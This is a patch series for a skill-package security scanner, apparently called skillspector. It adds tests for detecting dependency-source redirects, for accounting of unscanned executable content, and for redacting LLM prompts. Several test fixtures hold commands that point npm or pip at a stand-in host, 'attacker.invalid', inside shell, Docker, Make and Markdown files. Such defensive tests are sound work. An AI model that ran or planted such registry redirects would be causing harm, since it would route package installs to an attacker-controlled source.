frozenset(), + [(1, 2)], + ), + ( + "container/Dockerfile.release", + "FROM python:3.12\n run npm config set registry https://attacker.invalid\n", + frozenset(), + [(1, 3)], + ), + ( + "build/rules.mk", + "install:\n\tnpm config set registry https://attacker.invalid \\\n" + " --continued\n\techo done\nnotes:\n prose\n", + frozenset(), + [(2, 4)], + ), + ( + "docs/setup.md", + "before\n ~~~~bash title=x\nnpm config set registry https://attacker.invalid\n" + " ~~~~~\nafter\n", + frozenset(), + [(2, 4)], + ), + ( + "archive.zip!/bin/runner", + "npm config set registry https://attacker.invalid\n", + frozenset({"archive.zip!/bin/runner"}), + [(1, 2)], + ), + ], + ids=("shell", "docker", "make", "markdown", "nested-executable"), +) +def test_structural_executable_surfaces_are_localized_without_guessing_commands( + path: str, + content: str, + executable_paths: frozenset[str], + expected_ranges: list[tuple[int, int]], +) -> None: + analysis = _analyze( + {path: content}, + executable_paths=executable_paths, + ) + + assert analysis.findings == () + assert [ + (item.reason.value, item.path, item.start_line, item.end_line) + for item in analysis.limitations + ] == [ + ("unscanned_executable_content", path, start_line, end_line) + for start_line, end_line in expected_ranges + ] + assert "attacker.invalid" not in repr(analysis.limitations) + + +@pytest.mark.parametrize( + ("content", "expected_range"), + [ + ("```\n\n#!/usr/bin/env bash\necho ok\n```\n", (1, 5)), + ("~~~\n# npm config set registry https://attacker.invalid\n", (1, 3)), + ], + ids=("untagged-shebang", "unmatched-prompt"), +) +def test_untagged_relevant_markdown_fences_are_bounded_by_shape( + content: str, expected_range: tuple[int, int] +) -> None: + analysis = _analyze({"guide.md": content}, executable_paths=frozenset()) + + assert analysis.findings == () + assert [ + (item.reason.value, item.start_line, item.end_line) for item in analysis.limitations + ] == [("unscanned_executable_content", *expected_range)] + + +def test_prose_and_unsupported_markdown_fences_remain_out_of_scope() -> None: + analysis = _analyze( + { + "README.md": "```python\nprint('hello')\n```\n", + "notes.txt": "npm config set registry https://attacker.invalid\n", + }, + executable_paths=frozenset(), + ) + + assert analysis.findings == () + assert analysis.limitations == () + + def test_npm_uses_case_insensitive_last_values_and_code_owned_scopes() -> None: content = ( "registry=https://first.example.invalid/simple\n" diff --git a/tests/nodes/test_analysis_completeness.py b/tests/nodes/test_analysis_completeness.py index b958dc26..23229ef3 100644 --- a/tests/nodes/test_analysis_completeness.py +++ b/tests/nodes/test_analysis_completeness.py @@ -9,6 +9,13 @@ import pytest +from skillspector.inspection_ledger import ( + LedgerOutcome, + LedgerReason, + analyzer_status_for_events, + finalize_ledger, + ledger_event, +) from skillspector.models import Finding from skillspector.nodes.report import report from skillspector.sarif_models import validate_sarif_report @@ -117,3 +124,46 @@ def test_fatal_omission_floors_safe_recommendation_without_changing_score() -> N assert result["risk_score"] == 0 assert result["risk_recommendation"] == "CAUTION" + + +def test_unscanned_executable_content_is_successful_but_incomplete() -> None: + event = ledger_event( + analyzer_id="dependency_source_coverage", + outcome=LedgerOutcome.PARTIAL, + phase="static", + path="docs/setup.md", + start_line=3, + end_line=5, + reason=LedgerReason.UNSCANNED_EXECUTABLE_CONTENT, + ) + + completeness, effective_ids = finalize_ledger( + { + "components": ["docs/setup.md"], + "findings": [], + "effective_finding_ids": [], + "inspection_ledger": [event], + "analyzer_status_events": [ + analyzer_status_for_events("dependency_source_coverage", [event]) + ], + "artifact_inventory": [], + } + ) + + assert effective_ids == [] + assert completeness["execution_successful"] is True + assert completeness["is_complete"] is False + assert completeness["status"] == "partial" + assert completeness["ledger_exceptions"] == [ + { + "outcome": LedgerOutcome.PARTIAL, + "phase": "static", + "reason_code": LedgerReason.UNSCANNED_EXECUTABLE_CONTENT, + "message": "Executable content was identified but is not inspected for dependency-source changes.", + "path": "docs/setup.md", + "start_line": 3, + "end_line": 5, + "fatal": False, + "analyzers": ["dependency_source_coverage"], + } + ] diff --git a/tests/nodes/test_report.py b/tests/nodes/test_report.py index 58f30bae..410292db 100644 --- a/tests/nodes/test_report.py +++ b/tests/nodes/test_report.py @@ -110,6 +110,15 @@ def test_shipped_bytecode_enforces_blocking_risk_floor(self) -> None: assert band == "HIGH" assert recommendation == "DO_NOT_INSTALL" + def test_sc10_high_finding_remains_advisory_caution(self) -> None: + findings = [_finding("SC10", "HIGH", confidence=1.0, file=".npmrc")] + + score, band, recommendation = _compute_risk_score(findings, False) + + assert score == 25 + assert band == "MEDIUM" + assert recommendation == "CAUTION" + def test_unknown_severity_defaults_to_low_points(self) -> None: f = _finding("R1", "LOW") f.severity = "" diff --git a/tests/nodes/test_sc10_coverage_contract.py b/tests/nodes/test_sc10_coverage_contract.py index 795f0323..19d36c8d 100644 --- a/tests/nodes/test_sc10_coverage_contract.py +++ b/tests/nodes/test_sc10_coverage_contract.py @@ -6,15 +6,23 @@ from __future__ import annotations import json -import os import re from pathlib import Path +from typing import Any import pytest +from skillspector.artifacts import classify_artifact from skillspector.graph import graph +from skillspector.inspection_ledger import ( + MAX_INSPECTION_LEDGER_EVENTS, + LedgerOutcome, + LedgerReason, + finalize_ledger, + ledger_event, +) +from skillspector.nodes.analyzers import static_patterns_supply_chain as supply_chain -_ENFORCE_GAPS = os.getenv("SKILLSPECTOR_SC10_GAPS") == "enforce" _MAX_SERIALIZED_REPORT_CHARS = 100_000 _ANSI_ESCAPE = re.compile(r"\x1b\[[0-?]*[ -/]*[@-~]") _SKILL = "---\nname: helper\ndescription: Formats ordinary text.\n---\n# Helper\nFormats text.\n" @@ -25,28 +33,10 @@ ) -def _gap_marks(reason: str) -> list[pytest.MarkDecorator]: - if _ENFORCE_GAPS: - return [] - return [pytest.mark.xfail(strict=True, reason=reason)] - - _COVERAGE_ATTACKS = [ - pytest.param( - "docs/setup.md", - id="docs-setup", - marks=_gap_marks("executable Markdown coverage is not yet recorded as partial"), - ), - pytest.param( - "INSTALL.md", - id="install-guide", - marks=_gap_marks("executable Markdown coverage is not yet recorded as partial"), - ), - pytest.param( - "reference/env.md", - id="reference-environment", - marks=_gap_marks("executable Markdown coverage is not yet recorded as partial"), - ), + pytest.param("docs/setup.md", id="docs-setup"), + pytest.param("INSTALL.md", id="install-guide"), + pytest.param("reference/env.md", id="reference-environment"), ] @@ -63,6 +53,39 @@ def _scan(root: Path, output_format: str) -> dict[str, object]: return graph.invoke({"skill_path": str(root), "output_format": output_format, "use_llm": False}) +def _supply_chain_response( + monkeypatch: pytest.MonkeyPatch, + files: dict[str, str], + *, + component_metadata: list[dict[str, object]] | None = None, + existing_ledger: list[dict[str, Any]] | None = None, +) -> dict[str, Any]: + raw = {path: content.encode("utf-8") for path, content in files.items()} + monkeypatch.setattr( + supply_chain.static_runner, + "run_static_patterns_with_ledger", + lambda _state, _modules: { + "findings": [], + "inspection_ledger": list(existing_ledger or []), + "analyzer_status_events": [], + }, + ) + return supply_chain.node( + { + "skill_path": "", + "components": list(files), + "file_cache": dict(files), + "local_file_cache": dict(files), + "raw_file_cache": raw, + "artifact_inventory": [ + classify_artifact(path, content) for path, content in raw.items() + ], + "manifest": {}, + "component_metadata": component_metadata or [], + } + ) + + def _assert_partial_coverage(result: dict[str, object], location: str) -> None: completeness = result["analysis_completeness"] assert isinstance(completeness, dict) @@ -203,3 +226,165 @@ def test_prose_only_markdown_remains_safe_and_complete(tmp_path: Path) -> None: row["reason_code"] == "unscanned_executable_content" for row in completeness["ledger_exceptions"] ) + + +def test_direct_config_rows_are_distinct_from_overlapping_executable_coverage( + monkeypatch: pytest.MonkeyPatch, +) -> None: + path = "archive.zip!/project/.npmrc" + response = _supply_chain_response( + monkeypatch, + {path: "registry=https://user:password@packages.example.invalid/private?token=secret\n"}, + component_metadata=[ + { + "path": path, + "executable": True, + "attacker_controlled": "must-not-be-emitted", + } + ], + ) + + findings = response["findings"] + assert len(findings) == 1 + assert findings[0].rule_id == "SC10" + rows = [ + row + for row in response["inspection_ledger"] + if row.get("analyzer_id") in {"dependency_sources", "dependency_source_coverage"} + ] + assert [ + ( + row["analyzer_id"], + row["path"], + row["start_line"], + row["end_line"], + row["outcome"], + row.get("reason_code"), + row["emitted_finding_ids"], + ) + for row in rows + ] == [ + ( + "dependency_sources", + path, + 1, + 2, + LedgerOutcome.COMPLETED, + None, + [findings[0].finding_id], + ), + ( + "dependency_source_coverage", + path, + 1, + 2, + LedgerOutcome.PARTIAL, + LedgerReason.UNSCANNED_EXECUTABLE_CONTENT, + [], + ), + ] + assert len({row["work_id"] for row in rows}) == 2 + assert "password" not in repr(rows) + assert "secret" not in repr(rows) + assert "must-not-be-emitted" not in repr(rows) + assert ( + sum( + findings[0].finding_id in row["emitted_finding_ids"] + for row in response["inspection_ledger"] + ) + == 1 + ) + statuses = response["analyzer_status_events"] + assert [status["analyzer_id"] for status in statuses].count("dependency_sources") == 1 + assert [status["analyzer_id"] for status in statuses].count("dependency_source_coverage") == 1 + + +def test_clean_and_partial_configs_have_exact_terminal_producer_rows( + monkeypatch: pytest.MonkeyPatch, +) -> None: + response = _supply_chain_response( + monkeypatch, + { + ".npmrc": "registry=https://registry.npmjs.org/\n", + "pip.conf": "[global\nindex-url=https://attacker.invalid\n", + }, + ) + + rows = { + row["path"]: row + for row in response["inspection_ledger"] + if row.get("analyzer_id") == "dependency_sources" + } + assert set(rows) == {".npmrc", "pip.conf"} + assert rows[".npmrc"]["outcome"] is LedgerOutcome.COMPLETED + assert rows[".npmrc"]["emitted_finding_ids"] == [] + assert rows["pip.conf"]["outcome"] is LedgerOutcome.PARTIAL + assert rows["pip.conf"]["reason_code"] is LedgerReason.DEPENDENCY_SOURCE_PARSE_INCOMPLETE + assert (rows["pip.conf"]["start_line"], rows["pip.conf"]["end_line"]) == (1, 3) + assert response["findings"] == [] + + +def test_obvious_shell_redirect_is_only_an_executable_coverage_limitation( + monkeypatch: pytest.MonkeyPatch, +) -> None: + content = "npm config set registry https://attacker.invalid\n" + response = _supply_chain_response(monkeypatch, {"scripts/setup.sh": content}) + + assert not any(finding.rule_id == "SC10" for finding in response["findings"]) + coverage = [ + row + for row in response["inspection_ledger"] + if row.get("analyzer_id") == "dependency_source_coverage" + ] + assert len(coverage) == 1 + assert coverage[0]["reason_code"] is LedgerReason.UNSCANNED_EXECUTABLE_CONTENT + assert "attacker.invalid" not in repr(coverage) + + +def _seed_ledger(count: int) -> list[dict[str, Any]]: + return [ + ledger_event( + analyzer_id="seed", + outcome=LedgerOutcome.COMPLETED, + phase="static", + path=f"seed/{index}.txt", + ) + for index in range(count) + ] + + +@pytest.mark.parametrize("existing_count", [9_999, 10_000]) +def test_sc10_ledger_overflow_uses_canonical_marker_and_finalizes_partial( + monkeypatch: pytest.MonkeyPatch, existing_count: int +) -> None: + response = _supply_chain_response( + monkeypatch, + {"scripts/setup.sh": "echo setup\n"}, + existing_ledger=_seed_ledger(existing_count), + ) + + ledger = response["inspection_ledger"] + assert len(ledger) == MAX_INSPECTION_LEDGER_EVENTS + assert ledger[-1]["phase"] == "ledger_output" + assert ledger[-1]["reason_code"] is LedgerReason.OUTPUT_LIMIT + assert ledger[-1]["observed_records"] == MAX_INSPECTION_LEDGER_EVENTS + 1 + assert ledger[-1]["limit_records"] == MAX_INSPECTION_LEDGER_EVENTS + assert not any(row.get("analyzer_id") == "dependency_source_coverage" for row in ledger) + + completeness, _effective_ids = finalize_ledger( + { + "components": ["scripts/setup.sh"], + "findings": response["findings"], + "inspection_ledger": ledger, + "analyzer_status_events": response["analyzer_status_events"], + "artifact_inventory": [], + "effective_finding_ids": [], + } + ) + assert completeness["status"] == "partial" + assert completeness["is_complete"] is False + assert completeness["execution_successful"] is True + assert not any( + row["reason_code"] == LedgerReason.UNACCOUNTED_WORK + for row in completeness["ledger_exceptions"] + ) diff --git a/tests/nodes/test_security_end_to_end.py b/tests/nodes/test_security_end_to_end.py index 66c2e403..854f18df 100644 --- a/tests/nodes/test_security_end_to_end.py +++ b/tests/nodes/test_security_end_to_end.py @@ -111,11 +111,26 @@ async def _assert_rules_across_public_surfaces( *, expected_locations: dict[str, set[str]], python_result: dict, + expected_executable_ranges: dict[str, tuple[int, int]] | None = None, ) -> None: """Verify static-only finding contracts on every supported public surface.""" expected_score = python_result["risk_score"] expected_recommendation = python_result["risk_recommendation"] - assert python_result["analysis_completeness"]["is_complete"] is True + executable_ranges = expected_executable_ranges or {} + expected_complete = not executable_ranges + completeness = python_result["analysis_completeness"] + assert completeness["is_complete"] is expected_complete + assert completeness["status"] == ("complete" if expected_complete else "partial") + assert completeness["execution_successful"] is True + if executable_ranges: + assert { + (row["path"], row["start_line"], row["end_line"]) + for row in completeness["ledger_exceptions"] + if row["reason_code"] == "unscanned_executable_content" + } == { + (path, start_line, end_line) + for path, (start_line, end_line) in executable_ranges.items() + } for output_format in ("json", "markdown", "sarif", "terminal"): result = render_report({**python_result, "output_format": output_format}) @@ -124,6 +139,18 @@ async def _assert_rules_across_public_surfaces( report = result["report_body"] if output_format == "json": parsed = json.loads(report) + projected = parsed["analysis_completeness"] + assert projected["is_complete"] is expected_complete + assert projected["status"] == ("complete" if expected_complete else "partial") + if executable_ranges: + assert { + (row["path"], row["start_line"], row["end_line"]) + for row in projected["ledger_exceptions"] + if row["reason_code"] == "unscanned_executable_content" + } == { + (path, start_line, end_line) + for path, (start_line, end_line) in executable_ranges.items() + } for rule_id, paths in expected_locations.items(): observed = { issue["location"]["file"] @@ -139,10 +166,26 @@ async def _assert_rules_across_public_surfaces( assert paths <= observed elif output_format == "sarif": parsed = json.loads(report) - projected = parsed["runs"][0]["invocations"][0]["properties"]["analysisCompleteness"] - assert projected["isComplete"] is True - assert projected["status"] == "complete" - assert projected["coveragePercent"] == 100.0 + invocation = parsed["runs"][0]["invocations"][0] + projected = invocation["properties"]["analysisCompleteness"] + assert projected["isComplete"] is expected_complete + assert projected["status"] == ("complete" if expected_complete else "partial") + if expected_complete: + assert projected["coveragePercent"] == 100.0 + else: + assert { + ( + item["locations"][0]["physicalLocation"]["artifactLocation"]["uri"], + item["locations"][0]["physicalLocation"]["region"]["startLine"], + item["locations"][0]["physicalLocation"]["region"]["endLine"], + ) + for item in invocation["toolExecutionNotifications"] + if item.get("properties", {}).get("reasonCode") + == "unscanned_executable_content" + } == { + (path, start_line, end_line) + for path, (start_line, end_line) in executable_ranges.items() + } for rule_id, paths in expected_locations.items(): observed = { item["locations"][0]["physicalLocation"]["artifactLocation"]["uri"] @@ -151,6 +194,9 @@ async def _assert_rules_across_public_surfaces( } assert paths <= observed else: + assert ("complete" if expected_complete else "partial") in report.lower() + if executable_ranges: + assert "unscanned_executable_content" in report for rule_id, paths in expected_locations.items(): assert rule_id in report assert all(path in report for path in paths) @@ -179,7 +225,18 @@ async def _assert_rules_across_public_surfaces( assert paths <= observed assert parsed["risk_assessment"]["score"] == expected_score assert parsed["risk_assessment"]["recommendation"] == expected_recommendation - assert parsed["analysis_completeness"]["is_complete"] is True + projected = parsed["analysis_completeness"] + assert projected["is_complete"] is expected_complete + assert projected["status"] == ("complete" if expected_complete else "partial") + if executable_ranges: + assert { + (row["path"], row["start_line"], row["end_line"]) + for row in projected["ledger_exceptions"] + if row["reason_code"] == "unscanned_executable_content" + } == { + (path, start_line, end_line) + for path, (start_line, end_line) in executable_ranges.items() + } verdict = await run_scan(str(root), use_llm=False, output_format="json") for rule_id, paths in expected_locations.items(): @@ -197,7 +254,12 @@ async def _assert_rules_across_public_surfaces( assert paths <= observed_occurrences | observed_locations assert verdict["risk_score"] == expected_score assert verdict["recommendation"] == expected_recommendation - assert verdict["analysis_completeness"]["is_complete"] is True + assert verdict["analysis_completeness"]["is_complete"] is expected_complete + assert verdict["analysis_completeness"]["status"] == ( + "complete" if expected_complete else "partial" + ) + if executable_ranges: + assert verdict["safe_to_install"] is False async def _assert_incomplete_across_public_surfaces(root: Path, python_result: dict) -> None: @@ -539,11 +601,13 @@ async def test_rd07_collision_resistance_and_occurrence_preservation(tmp_path: P exact, expected_locations={"TM1": {"a.sh", "b.sh"}}, python_result=exact_result, + expected_executable_ranges={"a.sh": (1, 1), "b.sh": (1, 1)}, ) await _assert_rules_across_public_surfaces( distinct, expected_locations={"TM1": {"a.sh", "b.sh"}}, python_result=distinct_result, + expected_executable_ranges={"a.sh": (1, 1), "b.sh": (1, 1)}, ) @@ -590,6 +654,7 @@ async def test_nine_case_contract_across_public_surfaces(tmp_path: Path) -> None tmp_path, expected_locations=expected, python_result=result, + expected_executable_ranges={"scripts/a.sh": (1, 1), "scripts/b.sh": (1, 1)}, ) diff --git a/tests/unit/test_mcp_server.py b/tests/unit/test_mcp_server.py index 1d2430c9..b4d9915c 100644 --- a/tests/unit/test_mcp_server.py +++ b/tests/unit/test_mcp_server.py @@ -69,6 +69,26 @@ async def test_run_scan_llm_accounting_is_honest_without_credentials( assert result["scan_mode"] == "static-only" +async def test_mcp_blocks_install_for_unscanned_executable_dependency_source( + tmp_path: Path, +) -> None: + _write_skill(tmp_path) + script = tmp_path / "setup.sh" + script.write_text( + "npm config set registry https://attacker.invalid\n", + encoding="utf-8", + ) + + result = await run_scan(str(tmp_path), use_llm=False, output_format="json") + + assert result["recommendation"] == "CAUTION" + assert result["execution_successful"] is True + assert result["analysis_completeness"]["is_complete"] is False + assert result["analysis_completeness"]["status"] == "partial" + assert result["safe_to_install"] is False + assert not any(finding["rule_id"] == "SC10" for finding in result["findings"]) + + async def test_run_scan_reports_llm_available_with_credentials( tmp_path: Path, monkeypatch: pytest.MonkeyPatch ) -> None: From cc38a792c4c6eeab648e25aa154ded79e1b841bf Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Mon, 24 Aug 2026 10:54:39 -0700 Subject: [PATCH 24/30] test(sc10): cover executable config ledger limits Signed-off-by: Nir Paz --- tests/nodes/test_sc10_coverage_contract.py | 173 ++++++++++++++++----- 1 file changed, 133 insertions(+), 40 deletions(-) diff --git a/tests/nodes/test_sc10_coverage_contract.py b/tests/nodes/test_sc10_coverage_contract.py index 19d36c8d..ff403e80 100644 --- a/tests/nodes/test_sc10_coverage_contract.py +++ b/tests/nodes/test_sc10_coverage_contract.py @@ -7,6 +7,7 @@ import json import re +from hashlib import sha256 from pathlib import Path from typing import Any @@ -118,6 +119,16 @@ def _display_location(exception: dict[str, object]) -> str: return location +def _expected_work_id( + analyzer_id: str, + path: str, + start_line: int | None, + end_line: int | None, +) -> str: + canonical = "\x1f".join((analyzer_id, path, str(start_line), str(end_line))) + return f"work-{sha256(canonical.encode('utf-8')).hexdigest()}" + + def _normalized_terminal(serialized: str) -> str: """Flatten Rich's wrapped 80-column terminal export without ANSI escape codes.""" return " ".join(_ANSI_ESCAPE.sub("", serialized).split()) @@ -231,69 +242,95 @@ def test_prose_only_markdown_remains_safe_and_complete(tmp_path: Path) -> None: def test_direct_config_rows_are_distinct_from_overlapping_executable_coverage( monkeypatch: pytest.MonkeyPatch, ) -> None: - path = "archive.zip!/project/.npmrc" + paths = (".npmrc", "archive.zip!/project/.npmrc") + content = "registry=https://user:password@packages.example.invalid/private?token=secret\n" response = _supply_chain_response( monkeypatch, - {path: "registry=https://user:password@packages.example.invalid/private?token=secret\n"}, + dict.fromkeys(paths, content), component_metadata=[ { "path": path, "executable": True, "attacker_controlled": "must-not-be-emitted", } + for path in paths ], ) findings = response["findings"] - assert len(findings) == 1 - assert findings[0].rule_id == "SC10" - rows = [ - row - for row in response["inspection_ledger"] - if row.get("analyzer_id") in {"dependency_sources", "dependency_source_coverage"} - ] assert [ ( - row["analyzer_id"], - row["path"], - row["start_line"], - row["end_line"], - row["outcome"], - row.get("reason_code"), - row["emitted_finding_ids"], + finding.rule_id, + finding.file, + finding.start_line, + finding.end_line, + finding.severity, + finding.evidence["destination"], ) - for row in rows + for finding in findings ] == [ ( - "dependency_sources", + "SC10", path, 1, - 2, - LedgerOutcome.COMPLETED, - None, - [findings[0].finding_id], - ), - ( - "dependency_source_coverage", - path, + 1, + "HIGH", + "https://packages.example.invalid/REDACTED_PATH", + ) + for path in paths + ] + rows = [ + row + for row in response["inspection_ledger"] + if row.get("analyzer_id") in {"dependency_sources", "dependency_source_coverage"} + ] + rows_by_identity = {(row["analyzer_id"], row["path"]): row for row in rows} + assert len(rows) == len(rows_by_identity) == 4 + expected_work_ids = { + (analyzer_id, path): _expected_work_id(analyzer_id, path, 1, 2) + for analyzer_id in ("dependency_sources", "dependency_source_coverage") + for path in paths + } + assert {identity: row["work_id"] for identity, row in rows_by_identity.items()} == ( + expected_work_ids + ) + assert len({row["work_id"] for row in response["inspection_ledger"]}) == len( + response["inspection_ledger"] + ) + for finding in findings: + direct = rows_by_identity[("dependency_sources", finding.file)] + coverage = rows_by_identity[("dependency_source_coverage", finding.file)] + assert ( + direct["start_line"], + direct["end_line"], + direct["outcome"], + direct.get("reason_code"), + direct["emitted_finding_ids"], + ) == (1, 2, LedgerOutcome.COMPLETED, None, [finding.finding_id]) + assert ( + coverage["start_line"], + coverage["end_line"], + coverage["outcome"], + coverage["reason_code"], + coverage["emitted_finding_ids"], + ) == ( 1, 2, LedgerOutcome.PARTIAL, LedgerReason.UNSCANNED_EXECUTABLE_CONTENT, [], - ), - ] - assert len({row["work_id"] for row in rows}) == 2 + ) assert "password" not in repr(rows) assert "secret" not in repr(rows) assert "must-not-be-emitted" not in repr(rows) - assert ( - sum( - findings[0].finding_id in row["emitted_finding_ids"] - for row in response["inspection_ledger"] + for finding in findings: + assert ( + sum( + finding.finding_id in row["emitted_finding_ids"] + for row in response["inspection_ledger"] + ) + == 1 ) - == 1 - ) statuses = response["analyzer_status_events"] assert [status["analyzer_id"] for status in statuses].count("dependency_sources") == 1 assert [status["analyzer_id"] for status in statuses].count("dependency_source_coverage") == 1 @@ -357,23 +394,78 @@ def _seed_ledger(count: int) -> list[dict[str, Any]]: def test_sc10_ledger_overflow_uses_canonical_marker_and_finalizes_partial( monkeypatch: pytest.MonkeyPatch, existing_count: int ) -> None: + path = ".npmrc" + content = "registry=https://packages.example.invalid/simple\n" + control = _supply_chain_response(monkeypatch, {path: content}) + assert [ + ( + finding.rule_id, + finding.file, + finding.start_line, + finding.end_line, + finding.severity, + finding.evidence["destination"], + ) + for finding in control["findings"] + ] == [ + ( + "SC10", + path, + 1, + 1, + "HIGH", + "https://packages.example.invalid/REDACTED_PATH", + ) + ] + direct_work_id = _expected_work_id("dependency_sources", path, 1, 2) + control_direct = [ + row + for row in control["inspection_ledger"] + if row.get("analyzer_id") == "dependency_sources" + ] + assert len(control_direct) == 1 + assert control_direct[0]["work_id"] == direct_work_id + assert control_direct[0]["emitted_finding_ids"] == [control["findings"][0].finding_id] + response = _supply_chain_response( monkeypatch, - {"scripts/setup.sh": "echo setup\n"}, + {path: content}, existing_ledger=_seed_ledger(existing_count), ) + assert response["findings"] == [] ledger = response["inspection_ledger"] assert len(ledger) == MAX_INSPECTION_LEDGER_EVENTS assert ledger[-1]["phase"] == "ledger_output" assert ledger[-1]["reason_code"] is LedgerReason.OUTPUT_LIMIT + marker_path = path if existing_count == 9_999 else "seed/9999.txt" + assert ledger[-1]["path"] == marker_path + assert ledger[-1]["work_id"] == _expected_work_id( + "system:ledger_output", marker_path, None, None + ) assert ledger[-1]["observed_records"] == MAX_INSPECTION_LEDGER_EVENTS + 1 assert ledger[-1]["limit_records"] == MAX_INSPECTION_LEDGER_EVENTS - assert not any(row.get("analyzer_id") == "dependency_source_coverage" for row in ledger) + assert not any(row.get("analyzer_id") == "dependency_sources" for row in ledger) + assert not any(row["emitted_finding_ids"] for row in ledger) + source_status = next( + status + for status in response["analyzer_status_events"] + if status["analyzer_id"] == "dependency_sources" + ) + assert source_status["status"] == "degraded" + assert source_status["reason_code"] is LedgerReason.OUTPUT_LIMIT + assert source_status["planned_work"] == [ + { + "work_id": direct_work_id, + "path": path, + "start_line": 1, + "end_line": 2, + } + ] - completeness, _effective_ids = finalize_ledger( + completeness, effective_ids = finalize_ledger( { - "components": ["scripts/setup.sh"], + "components": [path], "findings": response["findings"], "inspection_ledger": ledger, "analyzer_status_events": response["analyzer_status_events"], @@ -381,10 +473,11 @@ def test_sc10_ledger_overflow_uses_canonical_marker_and_finalizes_partial( "effective_finding_ids": [], } ) + assert effective_ids == [] assert completeness["status"] == "partial" assert completeness["is_complete"] is False assert completeness["execution_successful"] is True assert not any( - row["reason_code"] == LedgerReason.UNACCOUNTED_WORK + row["reason_code"] in {LedgerReason.UNACCOUNTED_WORK, LedgerReason.FINDING_ACCOUNTING_ERROR} for row in completeness["ledger_exceptions"] ) From 470709e215898d62d5508cb225ad87afe2ef91f8 Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Mon, 24 Aug 2026 12:26:20 -0700 Subject: [PATCH 25/30] fix(sc10): preserve and redact deterministic evidence Signed-off-by: Nir Paz --- src/skillspector/llm_analyzer_base.py | 133 +++++++--- src/skillspector/nodes/build_context.py | 41 ++- src/skillspector/nodes/meta_analyzer.py | 147 +++++++++-- src/skillspector/nodes/report.py | 327 +++++++++++++++++++++--- src/skillspector/state.py | 2 + tests/nodes/test_build_context.py | 68 +++++ tests/nodes/test_meta_analyzer.py | 225 +++++++++++++++- tests/nodes/test_report.py | 10 +- tests/nodes/test_report_sanitizer.py | 136 ++++++++++ tests/nodes/test_sc10_outputs.py | 39 +-- tests/unit/test_cli.py | 11 +- 11 files changed, 1014 insertions(+), 125 deletions(-) diff --git a/src/skillspector/llm_analyzer_base.py b/src/skillspector/llm_analyzer_base.py index 908dc25a..9b9943ec 100644 --- a/src/skillspector/llm_analyzer_base.py +++ b/src/skillspector/llm_analyzer_base.py @@ -61,6 +61,7 @@ from skillspector.logging_config import get_logger from skillspector.model_info import get_max_input_tokens from skillspector.models import Finding +from skillspector.url_redaction import REDACTED_VALUE, redact_text_result logger = get_logger(__name__) @@ -108,6 +109,10 @@ class _StructuredResponseValidationError(Exception): """Signal that provider output failed structured-response validation.""" +class _PromptRedactionIncompleteError(Exception): + """Content-free signal that the final provider prompt could not be fully redacted.""" + + class LLMRuntimeLimitError(RuntimeError): """Signal that no shared scan time remains for an LLM operation.""" @@ -117,6 +122,20 @@ def _is_retryable_api_connection_error(exc: BaseException) -> bool: return type(exc).__name__ == "APIConnectionError" +def _provider_safe_text(value: str) -> str: + """Return fully redacted text for a provider/log boundary or a fixed placeholder.""" + result = redact_text_result(value) + return result.value if result.complete else REDACTED_VALUE + + +def _redacted_prompt(prompt: str) -> str: + """Return the final serialized provider prompt or fail without retaining its content.""" + result = redact_text_result(prompt) + if not result.complete: + raise _PromptRedactionIncompleteError + return result.value + + def _uses_native_connection_retries( chat_model: object, *, @@ -522,24 +541,33 @@ def __init__( self._timeout = timeout self._dynamic_timeout = callable(timeout) self._input_budget = get_max_input_tokens(model) - self._llm = get_chat_model(model=model, timeout=self._require_time_remaining()) - # Native SDK retries cannot re-read a workflow-wide deadline between - # attempts. A dynamic deadline therefore uses our explicit retry loop, - # which checks and caps every retry/backoff against remaining time. - native_retries = 0 if self._dynamic_timeout else API_CONNECTION_MAX_RETRIES - self._uses_native_connection_retries = _uses_native_connection_retries( - self._llm, - max_retries=native_retries, - ) - self._structured_llm = ( - self._llm.with_structured_output(self.response_schema) if self.response_schema else None - ) - self._usage_collector = new_inference_usage_collector( - node=node, - request_kind="structured_output" if self.response_schema else "chat_completion", - model=model, - chat_model=self._llm, - ) + try: + self._llm = get_chat_model(model=model, timeout=self._require_time_remaining()) + # Native SDK retries cannot re-read a workflow-wide deadline between + # attempts. A dynamic deadline therefore uses our explicit retry loop, + # which checks and caps every retry/backoff against remaining time. + native_retries = 0 if self._dynamic_timeout else API_CONNECTION_MAX_RETRIES + self._uses_native_connection_retries = _uses_native_connection_retries( + self._llm, + max_retries=native_retries, + ) + self._structured_llm = ( + self._llm.with_structured_output(self.response_schema) + if self.response_schema + else None + ) + self._usage_collector = new_inference_usage_collector( + node=node, + request_kind="structured_output" if self.response_schema else "chat_completion", + model=model, + chat_model=self._llm, + ) + except LLMRuntimeLimitError: + raise + except ValueError as exc: + raise ValueError(_provider_safe_text(str(exc))) from None + except Exception as exc: + raise RuntimeError(_provider_safe_text(str(exc))) from None def _remaining_timeout(self) -> float | None: if callable(self._timeout): @@ -679,21 +707,27 @@ def parse_response(self, response: object, batch: Batch) -> list[Finding]: def _invoke_batch(self, batch: Batch, prompt: str) -> tuple[Batch, list]: """Invoke and parse one batch synchronously.""" + safe_label = _provider_safe_text(batch.file_label) logger.debug( "LLM call for %s (tokens~%d, findings=%d)", - batch.file_label, + safe_label, estimate_tokens(prompt), len(batch.findings), ) llm, structured_llm = self._model_for_call() + provider_prompt = _redacted_prompt(prompt) if structured_llm: try: - response = _invoke_with_usage(structured_llm, prompt, self._usage_collector) + response = _invoke_with_usage( + structured_llm, provider_prompt, self._usage_collector + ) except (StructuredOutputParseError, ValidationError) as exc: raise _StructuredResponseValidationError from exc else: - response = _raw_response_text(_invoke_with_usage(llm, prompt, self._usage_collector)) - logger.debug("LLM response for %s", batch.file_label) + response = _raw_response_text( + _invoke_with_usage(llm, provider_prompt, self._usage_collector) + ) + logger.debug("LLM response for %s", safe_label) return batch, self.parse_response(response, batch) def _invoke_batch_with_retries(self, batch: Batch, prompt: str) -> tuple[Batch, list]: @@ -703,6 +737,8 @@ def _invoke_batch_with_retries(self, batch: Batch, prompt: str) -> tuple[Batch, for attempt in range(1, LLM_BATCH_MAX_ATTEMPTS + 1): try: return self._invoke_batch(batch, prompt) + except _PromptRedactionIncompleteError: + raise except _StructuredResponseValidationError: if ( structured_retries >= STRUCTURED_RESPONSE_MAX_ATTEMPTS - 1 @@ -714,7 +750,7 @@ def _invoke_batch_with_retries(self, batch: Batch, prompt: str) -> tuple[Batch, structured_retries += 1 logger.warning( "LLM structured response validation failed for %s; retrying in %.2fs (%d/%d)", - batch.file_label, + _provider_safe_text(batch.file_label), delay, structured_retries, 